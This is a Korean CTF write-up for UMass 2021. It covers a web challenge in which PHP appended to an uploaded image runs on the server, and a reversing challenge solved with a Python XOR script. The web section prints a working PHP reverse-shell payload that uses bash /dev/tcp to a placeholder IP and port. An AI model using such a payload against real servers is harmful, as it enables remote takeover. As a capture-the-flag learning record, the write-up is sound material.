[WEB - "Hermit - Part 1"]

위 문제 링크에 접속하면 이미지를 업로드 하는 페이지가 나온다.

 

아래 사진 처럼 이미지를 업로드 하면 png의 hex값과 함께 이미지가 출력된다.

 

업로드할 이미지 맨 마지막에 간단한 php 코드를 작성한뒤 업로드 하면 php 코드가 동작하는 것을 볼 수 있다.

이를 이용하여 reverse shell 공격을 시도 했다. payload는 다음과 같다.

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/'Your IP'/'Your Port' 0>&1'");?>

위 payload를 업로드 할 이미지 맨 밑에 넣는다.

 

 

서버에 reverse shell로 부터 응답을 받기 위해 아래와 같이 연결을 Listening 한다.

 

 

 

위에서 작성한 payload를 포함한 이미지를 업로드 한 후, 이미지 보기를 하면 reverse shell이 연결된다.

 

flag를 찾기 위해 flag 포맷인 "UMASS{" 문자열을 찾아보았다.

아래 사진을 보면 /home/hermit/ 폴더안에 flag 파일이 존재하는 것을 볼 수 있다.

 

`UMASS{a_picture_paints_a_thousand_shells}`

 

[REV - easteregg]

위 문제 파일을 실행하면 아래처럼 뭔가 게임 느낌의 파일이다.

 

IDA로 문제 파일을 분석을 해봤는데, 게임을 클리어(?) 하면 35글자를 반복문으로 XOR연산해서 출력하는 것을 볼 수 있었다.

 

각각 XOR하는 변수의 값을 가져와 python으로 XOR 연산을 수행해서 flag를 획득 할 수 있었다.

a = "12 18 08 0a 10 37 37 66 28 17 78 60 67 29 18 26 07 2b 37 28 0b 35 76 37 20 11 2f 37 24 64 37 2a 7a 3e 35".split(" ")
b = "G U I Y C L Z V E H I P W B G O X H V F T G E V D N N D W W Z H K G H".split(" ")

for i in range(len(a)):
    print(chr(int(a[i], 16) ^ ord(b[i])) ,end="")

`UMASS{m0m_100k_i_can_r3ad_ass3mb1y}`

'CTF' 카테고리의 다른 글

[UMass 2021 CTF] write up  (0) 2021.03.29